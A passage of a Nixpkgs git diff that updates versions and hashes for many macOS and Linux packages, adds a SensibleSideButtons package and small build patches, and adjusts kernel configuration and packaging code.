a/pkgs/os-specific/darwin/hexfiend/default.nix +++ b/pkgs/os-specific/darwin/hexfiend/default.nix @@ -1,12 +1,19 @@ { stdenv, lib, fetchurl, undmg }: +let + urlSuffix = version: if lib.versions.patch == 0 then + lib.versions.majorMinor version + else + version + ; +in stdenv.mkDerivation rec { pname = "hexfiend"; - version = "2.16.0"; + version = "2.17.1"; src = fetchurl { - url = "https://github.com/HexFiend/HexFiend/releases/download/v${version}/Hex_Fiend_${lib.versions.majorMinor version}.dmg"; - sha256 = "sha256-jO57bW5TyuQ0mjKKsSwDoGLp2TZ1d+m159flVGaVrLc="; + url = "https://github.com/HexFiend/HexFiend/releases/download/v${version}/Hex_Fiend_${urlSuffix version}.dmg"; + hash = "sha256-QpGmpxDpdS+sJtsNtp0VSAd9WJXaZiKTH4yDsDK8FSk="; }; sourceRoot = "Hex Fiend.app"; diff --git a/pkgs/os-specific/darwin/karabiner-elements/default.nix b/pkgs/os-specific/darwin/karabiner-elements/default.nix index 03a9938bb2052..f42ce5b5be2fc 100644 --- a/pkgs/os-specific/darwin/karabiner-elements/default.nix +++ b/pkgs/os-specific/darwin/karabiner-elements/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "karabiner-elements"; - version = "14.11.0"; + version = "14.13.0"; src = fetchurl { url = "https://github.com/pqrs-org/Karabiner-Elements/releases/download/v${version}/Karabiner-Elements-${version}.dmg"; - sha256 = "sha256-InuSfXbaSYsncq8jVO15LbQmDTguRHlOiE/Pj5EfX5c="; + sha256 = "sha256-gmJwoht/Tfm5qMecmq1N6PSAIfWOqsvuHU8VDJY8bLw="; }; outputs = [ "out" "driver" ]; diff --git a/pkgs/os-specific/darwin/rectangle/default.nix b/pkgs/os-specific/darwin/rectangle/default.nix index 4366e0aedebfb..0ada82d0e7580 100644 --- a/pkgs/os-specific/darwin/rectangle/default.nix +++ b/pkgs/os-specific/darwin/rectangle/default.nix @@ -7,11 +7,11 @@ stdenvNoCC.mkDerivation rec { pname = "rectangle"; - version = "0.75"; + version = "0.76"; src = fetchurl { url = "https://github.com/rxhanson/Rectangle/releases/download/v${version}/Rectangle${version}.dmg"; - hash = "sha256-IjEqT1PHGohuQqgS+IzZKyLoIs0P0V7z42JzNUuzh84="; + hash = "sha256-oHq5mLMWloi6Tf81rjcmUFGwIggtMdyLPqbD/gOzNHU="; }; sourceRoot = "."; diff --git a/pkgs/os-specific/darwin/sensible-side-buttons/default.nix b/pkgs/os-specific/darwin/sensible-side-buttons/default.nix new file mode 100644 index 0000000000000..135ca6a60dbd3 --- /dev/null +++ b/pkgs/os-specific/darwin/sensible-side-buttons/default.nix @@ -0,0 +1,37 @@ +{ lib +, fetchurl +, undmg +, stdenv +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "sensible-side-buttons-bin"; + version = "1.0.6"; + src = fetchurl { + url = "https://github.com/archagon/sensible-side-buttons/releases/download/${finalAttrs.version}/SensibleSideButtons-${finalAttrs.version}.dmg"; + hash = "sha256-Hys678R6wf+M4eg6892rgU3Xxua5dLc9zjaU7HQ1iBs="; + }; + + sourceRoot = "SensibleSideButtons.app"; + + nativeBuildInputs = [ undmg ]; + + installPhase = '' + runHook preInstall + + mkdir -p "$out/Applications/SensibleSideButtons.app" + cp -R . "$out/Applications/SensibleSideButtons.app" + mkdir "$out/bin" + ln -s "$out/Applications/SensibleSideButtons.app/Contents/MacOS/SensibleSideButtons" "$out/bin/${finalAttrs.pname}" + + runHook postInstall + ''; + + meta = with lib; { + description = "Utilize mouse side navigation buttons"; + homepage = "https://sensible-side-buttons.archagon.net"; + license = licenses.unfree; + maintainers = with maintainers; [ yamashitax ]; + platforms = platforms.darwin; + }; +}) diff --git a/pkgs/os-specific/darwin/yabai/default.nix b/pkgs/os-specific/darwin/yabai/default.nix index 549acdce24f0d..cdae949ba982c 100644 --- a/pkgs/os-specific/darwin/yabai/default.nix +++ b/pkgs/os-specific/darwin/yabai/default.nix @@ -17,7 +17,7 @@ let pname = "yabai"; - version = "6.0.11"; + version = "6.0.15"; test-version = testers.testVersion { package = yabai; @@ -53,7 +53,7 @@ in src = fetchzip { url = "https://github.com/koekeishiya/yabai/releases/download/v${version}/yabai-v${version}.tar.gz"; - hash = "sha256-CfyuWvxkeZQVuwMbX90CZF0RiY6q+o0WtfE3H9Z8q1o="; + hash = "sha256-L82N0IaC2OAZVhmu9NALencK78FeCZI2cWJyNkGH2vQ="; }; nativeBuildInputs = [ @@ -89,7 +89,7 @@ in owner = "koekeishiya"; repo = "yabai"; rev = "v${version}"; - hash = "sha256-HaflgZJ7QqooaSUNW+Uu0LD9+AVu4hHyJtILUrOC9+I="; + hash = "sha256-buX6FRIXdM5VmYpA80eESDMPf+xeMfJJj0ulyx2g94M="; }; nativeBuildInputs = [ diff --git a/pkgs/os-specific/linux/akvcam/default.nix b/pkgs/os-specific/linux/akvcam/default.nix index d2b24855b0b28..ddf9fed60bfd1 100644 --- a/pkgs/os-specific/linux/akvcam/default.nix +++ b/pkgs/os-specific/linux/akvcam/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "akvcam"; - version = "1.2.4"; + version = "1.2.5"; src = fetchFromGitHub { owner = "webcamoid"; repo = "akvcam"; rev = version; - sha256 = "sha256-zvMPwgItp1bTq64DZcUbYls60XhgufOeEKaAoAFf64M="; + sha256 = "sha256-SzyamP6kcJI/GEeFp3uf1APdoBtwoUj0/9Otwtmygvs="; }; sourceRoot = "${src.name}/src"; diff --git a/pkgs/os-specific/linux/anbox/0002-NixOS-Build-android-emugl-with-cpp-14.patch b/pkgs/os-specific/linux/anbox/0002-NixOS-Build-android-emugl-with-cpp-14.patch new file mode 100644 index 0000000000000..bf87502826844 --- /dev/null +++ b/pkgs/os-specific/linux/anbox/0002-NixOS-Build-android-emugl-with-cpp-14.patch @@ -0,0 +1,11 @@ +--- a/external/android-emugl/CMakeLists.txt ++++ b/external/android-emugl/CMakeLists.txt +@@ -1,7 +1,7 @@ + # Don't treat any warnings as error as we take the source directly from + # upstream and just compile it. + set(CMAKE_C_FLAGS "-Wall") +-set(CMAKE_CXX_FLAGS "-std=c++11 -Wall") ++set(CMAKE_CXX_FLAGS "-std=c++14 -Wall") + + # Ensure -fPIC + set(CMAKE_POSITION_INDEPENDENT_CODE ON) diff --git a/pkgs/os-specific/linux/anbox/default.nix b/pkgs/os-specific/linux/anbox/default.nix index ad03ba1aefb23..a3724c792482e 100644 --- a/pkgs/os-specific/linux/anbox/default.nix +++ b/pkgs/os-specific/linux/anbox/default.nix @@ -130,6 +130,8 @@ stdenv.mkDerivation rec { }) # Ensures generated desktop files work on store path change ./0001-NixOS-Use-anbox-from-PATH-in-desktop-files.patch + # Allows android-emugl to build with gtest 1.13+ + ./0002-NixOS-Build-android-emugl-with-cpp-14.patch # Provide window icons (fetchpatch { url = "https://github.com/samueldr/anbox/commit/2387f4fcffc0e19e52e58fb6f8264fbe87aafe4d.patch"; diff --git a/pkgs/os-specific/linux/android-udev-rules/default.nix b/pkgs/os-specific/linux/android-udev-rules/default.nix index a99100ad8f4ef..5e3768447e28e 100644 --- a/pkgs/os-specific/linux/android-udev-rules/default.nix +++ b/pkgs/os-specific/linux/android-udev-rules/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "android-udev-rules"; - version = "20240114"; + version = "20240221"; src = fetchFromGitHub { owner = "M0Rf30"; repo = "android-udev-rules"; rev = version; - hash = "sha256-qf+KcEcWOsgLMifUOqNbi5t4s62p1gUfna45MyD01U0="; + hash = "sha256-Zbztl8ZFLS2UME8LtbahINKk6OUG5jo0O07awMXCPWY="; }; installPhase = '' diff --git a/pkgs/os-specific/linux/apparmor/default.nix b/pkgs/os-specific/linux/apparmor/default.nix index 99c1000f0e4c1..97fb7f0a6190f 100644 --- a/pkgs/os-specific/linux/apparmor/default.nix +++ b/pkgs/os-specific/linux/apparmor/default.nix @@ -22,7 +22,7 @@ }: let - apparmor-version = "3.1.6"; + apparmor-version = "3.1.7"; apparmor-meta = component: with lib; { homepage = "https://apparmor.net/"; @@ -36,7 +36,7 @@ let owner = "apparmor"; repo = "apparmor"; rev = "v${apparmor-version}"; - hash = "sha256-VPgRmmQv+kgLduc6RTu9gotyjT6OImUXsPeatgG7m9E="; + hash = "sha256-AzY05bcpNYXix2GL4Rhc9d3RBA1pd2fwOa7yoiwc2nQ="; }; aa-teardown = writeShellScript "aa-teardown" '' diff --git a/pkgs/os-specific/linux/bolt/default.nix b/pkgs/os-specific/linux/bolt/default.nix index df618cbff5a12..f81173095814f 100644 --- a/pkgs/os-specific/linux/bolt/default.nix +++ b/pkgs/os-specific/linux/bolt/default.nix @@ -21,14 +21,14 @@ stdenv.mkDerivation rec { pname = "bolt"; - version = "0.9.6"; + version = "0.9.7"; src = fetchFromGitLab { domain = "gitlab.freedesktop.org"; owner = "bolt"; repo = "bolt"; rev = version; - sha256 = "sha256-sJBY/pXUX5InLynsvAmapW54UF/WGn9eDlluWXjhubQ="; + sha256 = "sha256-6m4Yrev9W5WV4/pptc8tJ4hc6QSC+eJ7BSt2mx33s9U="; }; patches = [ diff --git a/pkgs/os-specific/linux/checkpolicy/default.nix b/pkgs/os-specific/linux/checkpolicy/default.nix index 5b08739667d5d..7e5f1e496522a 100644 --- a/pkgs/os-specific/linux/checkpolicy/default.nix +++ b/pkgs/os-specific/linux/checkpolicy/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "checkpolicy"; - version = "3.5"; + version = "3.6"; inherit (libsepol) se_url; src = fetchurl { url = "${se_url}/${version}/checkpolicy-${version}.tar.gz"; - sha256 = "sha256-eqSKsiIqC5iBER1tf3DDAU09kziCfZ4C3xBaaMDfXbw="; + sha256 = "sha256-GzRrPN1PinihV2J7rWSjs0ecZ7ahnRXm1chpRiDq28E="; }; nativeBuildInputs = [ bison flex ]; diff --git a/pkgs/os-specific/linux/ell/default.nix b/pkgs/os-specific/linux/ell/default.nix index 4cbf950cdce48..59f2a6965daf5 100644 --- a/pkgs/os-specific/linux/ell/default.nix +++ b/pkgs/os-specific/linux/ell/default.nix @@ -9,14 +9,14 @@ stdenv.mkDerivation rec { pname = "ell"; - version = "0.61"; + version = "0.62"; outputs = [ "out" "dev" ]; src = fetchgit { url = "https://git.kernel.org/pub/scm/libs/ell/ell.git"; rev = version; - hash = "sha256-spoZRT/gBCk/e/pn1AujCpCPdEM7hn/ImRyQq4hwctI="; + hash = "sha256-HgYwyE0jejEzg9LorjDz7F0GbiXUfYpKNJ+tFIBbYWA="; }; nativeBuildInputs = [ diff --git a/pkgs/os-specific/linux/esdm/default.nix b/pkgs/os-specific/linux/esdm/default.nix index 150e3b95b4f13..f4db69e244b4c 100644 --- a/pkgs/os-specific/linux/esdm/default.nix +++ b/pkgs/os-specific/linux/esdm/default.nix @@ -60,13 +60,13 @@ assert cryptoBackend == "openssl" || cryptoBackend == "botan" || cryptoBackend = stdenv.mkDerivation rec { pname = "esdm"; - version = "1.0.0"; + version = "1.0.2"; src = fetchFromGitHub { owner = "smuellerDD"; repo = "esdm"; rev = "v${version}"; - sha256 = "sha256-q6TGL1agltV9CFfcA6hZszVwGIBBngs22ZqhQgc9FeM="; + sha256 = "sha256-J7iVp6lLjR2JPdpppnqgV5Ke+X9TcZaS5V1ffejI5yE="; }; nativeBuildInputs = [ meson pkg-config ninja ]; diff --git a/pkgs/os-specific/linux/ethq/default.nix b/pkgs/os-specific/linux/ethq/default.nix index f966e285471e8..d103604294a4f 100644 --- a/pkgs/os-specific/linux/ethq/default.nix +++ b/pkgs/os-specific/linux/ethq/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "ethq"; - version = "0.6.2"; + version = "0.6.3"; src = fetchFromGitHub { owner = "isc-projects"; repo = "ethq"; rev = "refs/tags/v${builtins.replaceStrings ["."] ["_"] version}"; - hash = "sha256-luvvNdH4kERAMy242kLCqlnGmfPjSjvoHa6J2J7BFi4="; + hash = "sha256-dr37KiSnP0S0OjQof242EcbH+y4pCCzu6R9D6fXR9qc="; }; buildInputs = [ ncurses ]; diff --git a/pkgs/os-specific/linux/facetimehd/default.nix b/pkgs/os-specific/linux/facetimehd/default.nix index 3bb656e8cb09e..30d232f6eb88e 100644 --- a/pkgs/os-specific/linux/facetimehd/default.nix +++ b/pkgs/os-specific/linux/facetimehd/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { name = "facetimehd-${version}-${kernel.version}"; - version = "0.5.18"; + version = "0.6.8"; # Note: When updating this revision: # 1. Also update pkgs/os-specific/linux/firmware/facetimehd-firmware/ @@ -18,7 +18,7 @@ stdenv.mkDerivation rec { owner = "patjak"; repo = "facetimehd"; rev = version; - sha256 = "sha256-UO8t2zrfdJlu4uzhhyWOuHIjJNVezIq3nUPGZeW/KJU="; + sha256 = "sha256-Tze85Hx1YmStAKenmF/S1JuMDq5eVjBcs3LSWXjyE7w="; }; preConfigure = '' diff --git a/pkgs/os-specific/linux/ffado/default.nix b/pkgs/os-specific/linux/ffado/default.nix index d1e78a312e05a..dfa974e3e683c 100644 --- a/pkgs/os-specific/linux/ffado/default.nix +++ b/pkgs/os-specific/linux/ffado/default.nix @@ -1,9 +1,12 @@ { lib +, stdenv , mkDerivation +, argp-standalone , dbus , dbus_cplusplus , desktop-file-utils , fetchurl +, fetchpatch , glibmm , kernel , libavc1394 @@ -41,6 +44,13 @@ mkDerivation rec { patches = [ # fix installing metainfo file ./fix-build.patch + + (fetchpatch { + name = "musl.patch"; + url = "http://subversion.ffado.org/changeset?format=diff&new=2846&old=2845"; + stripLen = 2; + hash = "sha256-iWeYnb5J69Uvo1lftc7MWg7WrLa+CGZyOwJPOe8/PKg="; + }) ]; outputs = [ "out" "bin" "dev" ]; @@ -79,8 +89,12 @@ mkDerivation rec { libraw1394 libxmlxx3 python + ] ++ lib.optionals (!stdenv.hostPlatform.isGnu) [ + argp-standalone ]; + NIX_LDFLAGS = lib.optionalString (!stdenv.hostPlatform.isGnu) "-largp"; + enableParallelBuilding = true; dontWrapQtApps = true; diff --git a/pkgs/os-specific/linux/firmware/linux-firmware/source.nix b/pkgs/os-specific/linux/firmware/linux-firmware/source.nix index e3a85f250cb6e..86dbbd11d92ea 100644 --- a/pkgs/os-specific/linux/firmware/linux-firmware/source.nix +++ b/pkgs/os-specific/linux/firmware/linux-firmware/source.nix @@ -1,7 +1,7 @@ # This file is autogenerated! Run ./update.sh to regenerate. { - version = "20240115"; - revision = "20240115"; - sourceHash = "sha256-aiEYBqjUs48GaDKQ/0DRLm9cmfoWiaUKVGhdtfVlgjk="; - outputHash = "sha256-iOQGK1vE05Wcx17hbFJVEW8PcmkHGPcCmO5xZaVQRog="; + version = "20240220"; + revision = "20240220"; + sourceHash = "sha256-IU2ak8L9kiVt/2hExSfhHJMqtD9QlYEuzW2qz3pP8aU="; + outputHash = "sha256-C5vt+tAQxVIMMht/QNQRMjD/9HQuLtL9bMvAwrLKXuo="; } diff --git a/pkgs/os-specific/linux/hwdata/default.nix b/pkgs/os-specific/linux/hwdata/default.nix index a705a9fb5d381..7aeea8a8b59a5 100644 --- a/pkgs/os-specific/linux/hwdata/default.nix +++ b/pkgs/os-specific/linux/hwdata/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "hwdata"; - version = "0.378"; + version = "0.379"; src = fetchFromGitHub { owner = "vcrhonek"; repo = "hwdata"; rev = "v${version}"; - hash = "sha256-YCx0b4crg8A7mGXwqk1XQZKsm/3TUE8C2bOYKnb/FSA="; + hash = "sha256-6IMvnXP9uy8kAKRyzV/raZzUnpVCzp7SHnGt8qDUDXY="; }; configureFlags = [ "--datadir=${placeholder "out"}/share" ]; diff --git a/pkgs/os-specific/linux/intel-cmt-cat/default.nix b/pkgs/os-specific/linux/intel-cmt-cat/default.nix index 62e6149b6f13d..71f7735996ad9 100644 --- a/pkgs/os-specific/linux/intel-cmt-cat/default.nix +++ b/pkgs/os-specific/linux/intel-cmt-cat/default.nix @@ -1,14 +1,14 @@ { lib, stdenv, fetchFromGitHub }: stdenv.mkDerivation rec { - version = "23.11"; + version = "23.11.1"; pname = "intel-cmt-cat"; src = fetchFromGitHub { owner = "intel"; repo = "intel-cmt-cat"; rev = "v${version}"; - sha256 = "sha256-/OSU/7QR8NAjcAIo+unVQfORvCH5VpjfRn5sIrCxwbE="; + sha256 = "sha256-cBsbXua3uOqzElkLcLrOnNXXukGn5zRF8ytWa9VzGdE="; }; enableParallelBuilding = true; diff --git a/pkgs/os-specific/linux/intel-compute-runtime/default.nix b/pkgs/os-specific/linux/intel-compute-runtime/default.nix index a85eee05422c1..073714bd57a0f 100644 --- a/pkgs/os-specific/linux/intel-compute-runtime/default.nix +++ b/pkgs/os-specific/linux/intel-compute-runtime/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "intel-compute-runtime"; - version = "23.48.27912.11"; + version = "24.05.28454.6"; src = fetchFromGitHub { owner = "intel"; repo = "compute-runtime"; rev = version; - hash = "sha256-9VKmD7FxvBrDVqT1TzKommjrTvalfR4diReaDRy+Lk0="; + hash = "sha256-gX6zvZcwZXcSj3ch/eIWqIefccKuab0voh2vHHJTTso="; }; nativeBuildInputs = [ cmake pkg-config ]; @@ -51,8 +51,9 @@ stdenv.mkDerivation rec { ''; meta = with lib; { - homepage = "https://github.com/intel/compute-runtime"; description = "Intel Graphics Compute Runtime for OpenCL. Replaces Beignet for Gen8 (Broadwell) and beyond"; + homepage = "https://github.com/intel/compute-runtime"; + changelog = "https://github.com/intel/compute-runtime/releases/tag/${version}"; license = licenses.mit; platforms = [ "x86_64-linux" "aarch64-linux" ]; maintainers = with maintainers; [ SuperSandro2000 ]; diff --git a/pkgs/os-specific/linux/iomelt/default.nix b/pkgs/os-specific/linux/iomelt/default.nix index 0084a397d075d..331c9020a4804 100644 --- a/pkgs/os-specific/linux/iomelt/default.nix +++ b/pkgs/os-specific/linux/iomelt/default.nix @@ -1,17 +1,19 @@ -{ stdenv, lib, fetchurl }: +{ fetchurl +, lib +, stdenv +}: let version = "0.7"; in stdenv.mkDerivation { - pname = "iomelt"; inherit version; + pname = "iomelt"; src = fetchurl { - url = "http://iomelt.com/s/iomelt-${version}.tar.gz"; + url = "https://web.archive.org/web/20180816072405if_/http://iomelt.com/s/iomelt-${version}.tar.gz"; sha256 = "1jhrdm5b7f1bcbrdwcc4yzg26790jxl4d2ndqiwd9brl2g5537im"; }; preBuild = '' - mkdir -p $out/bin - mkdir -p $out/share/man/man1 + install -d $out/{bin,share/man/man1} substituteInPlace Makefile \ --replace /usr $out @@ -19,9 +21,9 @@ in stdenv.mkDerivation { meta = with lib; { description = "A simple yet effective way to benchmark disk IO in Linux systems"; - homepage = "http://www.iomelt.com"; - maintainers = with maintainers; [ ]; + homepage = "https://github.com/camposr/iomelt"; + maintainers = with maintainers; [ raspher ]; license = licenses.artistic2; - platforms = platforms.linux; + platforms = platforms.linux; }; } diff --git a/pkgs/os-specific/linux/ipset/default.nix b/pkgs/os-specific/linux/ipset/default.nix index 8326ef1c4614e..4b8fadcecf25c 100644 --- a/pkgs/os-specific/linux/ipset/default.nix +++ b/pkgs/os-specific/linux/ipset/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "ipset"; - version = "7.19"; + version = "7.21"; src = fetchurl { url = "https://ipset.netfilter.org/${pname}-${version}.tar.bz2"; - sha256 = "sha256-m8H7pI1leG4+C2Pca2aahmgj13hAxpkMDGsjB47CxNY="; + sha256 = "sha256-4sbOT886yziTyl01yGk1+ArXb8XMrmARhYQt92DgvGk="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/os-specific/linux/iwd/default.nix b/pkgs/os-specific/linux/iwd/default.nix index 762678141bdee..ccaf54759d85d 100644 --- a/pkgs/os-specific/linux/iwd/default.nix +++ b/pkgs/os-specific/linux/iwd/default.nix @@ -13,12 +13,12 @@ stdenv.mkDerivation rec { pname = "iwd"; - version = "2.13"; + version = "2.14"; src = fetchgit { url = "https://git.kernel.org/pub/scm/network/wireless/iwd.git"; rev = version; - hash = "sha256-Nyp7Gm3JK6bLzAZxuEjxKnzAK/eAYUO5owMbG90WQ8E="; + hash = "sha256-35hKb8IVL8jQG80y48a5CcozUEWxLCdTqAHhZlPFCYE="; }; outputs = [ "out" "man" "doc" ] diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix index 69f16fd79cf68..6e530b3acd9d4 100644 --- a/pkgs/os-specific/linux/kernel/common-config.nix +++ b/pkgs/os-specific/linux/kernel/common-config.nix @@ -290,6 +290,7 @@ let IPW2200_MONITOR = option yes; # support promiscuous mode HOSTAP_FIRMWARE = option yes; # Support downloading firmware images with Host AP driver HOSTAP_FIRMWARE_NVRAM = option yes; + MAC80211_MESH = option yes; # Enable 802.11s (mesh networking) support ATH9K_PCI = option yes; # Detect Atheros AR9xxx cards on PCI(e) bus ATH9K_AHB = option yes; # Ditto, AHB bus # The description of this option makes it sound dangerous or even illegal @@ -845,6 +846,7 @@ let AIC94XX_DEBUG = no; BLK_DEV_INTEGRITY = yes; + BLK_DEV_ZONED = yes; BLK_SED_OPAL = yes; @@ -1023,6 +1025,9 @@ let # Bump the maximum number of CPUs to support systems like EC2 x1.* # instances and Xeon Phi. NR_CPUS = freeform "384"; + + # Enable LEDS to display link-state status of PHY devices (i.e. eth lan/wan interfaces) + LED_TRIGGER_PHY = whenAtLeast "4.10" yes; } // optionalAttrs (stdenv.hostPlatform.system == "armv7l-linux" || stdenv.hostPlatform.system == "aarch64-linux") { # Enables support for the Allwinner Display Engine 2.0 SUN8I_DE2_CCU = yes; diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix index 8ff8dcff0b385..14c863b459b1e 100644 --- a/pkgs/os-specific/linux/kernel/generic.nix +++ b/pkgs/os-specific/linux/kernel/generic.nix @@ -212,7 +212,10 @@ let config = { CONFIG_MODULES = "y"; CONFIG_FW_LOADER = "m"; } // lib.optionalAttrs withRust { CONFIG_RUST = "y"; }; } // lib.optionalAttrs (modDirVersion != null) { inherit modDirVersion; }); - passthru = basicArgs // { +in +kernel.overrideAttrs (finalAttrs: previousAttrs: { + + passthru = previousAttrs.passthru or { } // basicArgs // { features = kernelFeatures; inherit commonStructuredConfig structuredExtraConfig extraMakeFlags isZen isHardened isLibre; isXen = lib.warn "The isXen attribute is deprecated. All Nixpkgs kernels that support it now have Xen enabled." true; @@ -225,9 +228,8 @@ let ]); }); - passthru = kernel.passthru // (removeAttrs passthru [ "passthru" ]); tests = let - overridableKernel = finalKernel // { + overridableKernel = finalAttrs.finalPackage // { override = args: lib.warn ( "override is stubbed for NixOS kernel tests, not applying changes these arguments: " @@ -237,5 +239,4 @@ let in [ (nixosTests.kernel-generic.passthru.testsForKernel overridableKernel) ] ++ kernelTests; }; - finalKernel = lib.extendDerivation true passthru kernel; -in finalKernel +}) diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json index 8d92d9cae355b..cb825a1adbac8 100644 --- a/pkgs/os-specific/linux/kernel/hardened/patches.json +++ b/pkgs/os-specific/linux/kernel/hardened/patches.json @@ -2,52 +2,52 @@ "4.19": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-4.19.306-hardened1.patch", - "sha256": "0g38iy5vw9glqmqhmj5y8nnx8gbdj312yb14qnwcl21m78k63mxk", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/4.19.306-hardened1/linux-hardened-4.19.306-hardened1.patch" + "name": "linux-hardened-4.19.307-hardened1.patch", + "sha256": "01i15w3qzwag2v4r5r5bqyk337pidhmcfif228f286cnjnqz5d7h", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/4.19.307-hardened1/linux-hardened-4.19.307-hardened1.patch" }, - "sha256": "06dy270xw4frnrc9p2qjh8chgp02fr5ll5g2b0lx9xqzlq7y86xr", - "version": "4.19.306" + "sha256": "0lp3fc7sqy48vpcl2g0n1bz7i1hp9k0nlz3i1xfh9l056ihzzvl3", + "version": "4.19.307" }, "5.10": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-5.10.209-hardened1.patch", - "sha256": "1vccxrwi8a8fz3fcjxxqbkdbfjjhzwqpcibfg0nrydcix79ixgyw", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.10.209-hardened1/linux-hardened-5.10.209-hardened1.patch" + "name": "linux-hardened-5.10.210-hardened1.patch", + "sha256": "1fdkkl303kvw9sg9lpzg83157xrl9jcl4jjli1gi2a4j0yz2479n", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.10.210-hardened1/linux-hardened-5.10.210-hardened1.patch" }, - "sha256": "1mc8rssk5aypgb58jz6i2bbflfr6qh1kgqpam0k8fqvwcjnjzqj4", - "version": "5.10.209" + "sha256": "0vggj3a71awc1w803cdzrnkn88rxr7l1xh9mmdcw9hzxj1d3r9jf", + "version": "5.10.210" }, "5.15": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-5.15.148-hardened1.patch", - "sha256": "0pryxvr058fisns01w52xsfbx4aqx2ssfk9n1r575lgywp6q03fj", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.15.148-hardened1/linux-hardened-5.15.148-hardened1.patch" + "name": "linux-hardened-5.15.149-hardened1.patch", + "sha256": "1y56l5l50h673a4n2pb3i3wh494lpnlw9vvdfr6m0jr0vymldb57", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.15.149-hardened1/linux-hardened-5.15.149-hardened1.patch" }, - "sha256": "1n75lrck581mppx84cds1a1l5vj05cdkp8ahpry7dx6rgz4pb1f4", - "version": "5.15.148" + "sha256": "1c01fnaghj55mkgsgddznq1zq4mswsa05rz00kmh1d3y6sd8115x", + "version": "5.15.149" }, "5.4": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-5.4.268-hardened1.patch", - "sha256": "1lz9i5iaa6pchnk1bw9dg85n82j9hvjdh8pb7vxjg05fxvwgn7jh", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.4.268-hardened1/linux-hardened-5.4.268-hardened1.patch" + "name": "linux-hardened-5.4.269-hardened1.patch", + "sha256": "06vf0mlp822i4bkpsxbyk1xjlbzabqpncy8qw9zajpjajwv87d7x", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.4.269-hardened1/linux-hardened-5.4.269-hardened1.patch" }, - "sha256": "081695lgkdwlrp6gpp6pyflgh76zax1w52shys4s9zjnrfkarj5g", - "version": "5.4.268" + "sha256": "1kqqm4hpif3jy2ycnb0dfjgzyn18vqhm1i5q7d7rkisks33bwm7z", + "version": "5.4.269" }, "6.1": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-6.1.76-hardened1.patch", - "sha256": "1hybya6kxcy90cnc7m1gzykbbarqmbybmgrsbanb3gvlbvjghizx", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.1.76-hardened1/linux-hardened-6.1.76-hardened1.patch" + "name": "linux-hardened-6.1.79-hardened1.patch", + "sha256": "0inip6pmlwrj75vwjimkjgvh4jn6ldrq5312r02xh1i95qb0sg3a", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.1.79-hardened1/linux-hardened-6.1.79-hardened1.patch" }, - "sha256": "1zdi4xbk7zyiab7x8z12xqg72zaw3j61slvrbwjfx6pzh47cr005", - "version": "6.1.76" + "sha256": "16xkd0hcslqlcf55d4ivzhf1fkhfs5yy0m9arbax8pmm5yi9r97s", + "version": "6.1.79" }, "6.5": { "patch": { @@ -62,21 +62,21 @@ "6.6": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-6.6.15-hardened1.patch", - "sha256": "0yj821zaqxhk4yk1fgv1l5kcqsl05nvq8l6djbvhs0nnlmfd85yf", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.6.15-hardened1/linux-hardened-6.6.15-hardened1.patch" + "name": "linux-hardened-6.6.18-hardened1.patch", + "sha256": "0svlck53b7bd38b9b0hzgppmhm59d35r2vqv30ga85ghkvc61byn", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.6.18-hardened1/linux-hardened-6.6.18-hardened1.patch" }, - "sha256": "1ajzby6isqji1xlp660m4qj2i2xs003vsjp1jspziwl7hrzhqadb", - "version": "6.6.15" + "sha256": "07cv97l5jiakmmv35n0ganvqfr0590b02f3qb617qkx1zg2xhhsf", + "version": "6.6.18" }, "6.7": { "patch": { "extra": "-hardened1", - "name": "linux-hardened-6.7.3-hardened1.patch", - "sha256": "03jdch5fx6ly0haa2jrbjzyjnfv66dh1gkbhy1y79v3ylr4x29x4", - "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.7.3-hardened1/linux-hardened-6.7.3-hardened1.patch" + "name": "linux-hardened-6.7.6-hardened1.patch", + "sha256": "063yrs3g0knlz37aq979jhng9k6l19873nbi1jy167xfqmpqqajr", + "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.7.6-hardened1/linux-hardened-6.7.6-hardened1.patch" }, - "sha256": "0i1bfkawyp917d9v3qa5nqzspzr3ixx7scbfl8x4lms74xjqrw5p", - "version": "6.7.3" + "sha256": "1lrp7pwnxnqyy8c2l4n4nz997039gbnssrfm8ss8kl3h2c7fr2g4", + "version": "6.7.6" } } diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json index b7f5c8654726d..e16804af99d34 100644 --- a/pkgs/os-specific/linux/kernel/kernels-org.json +++ b/pkgs/os-specific/linux/kernel/kernels-org.json @@ -1,38 +1,34 @@ { "testing": { - "version": "6.8-rc4", - "hash": 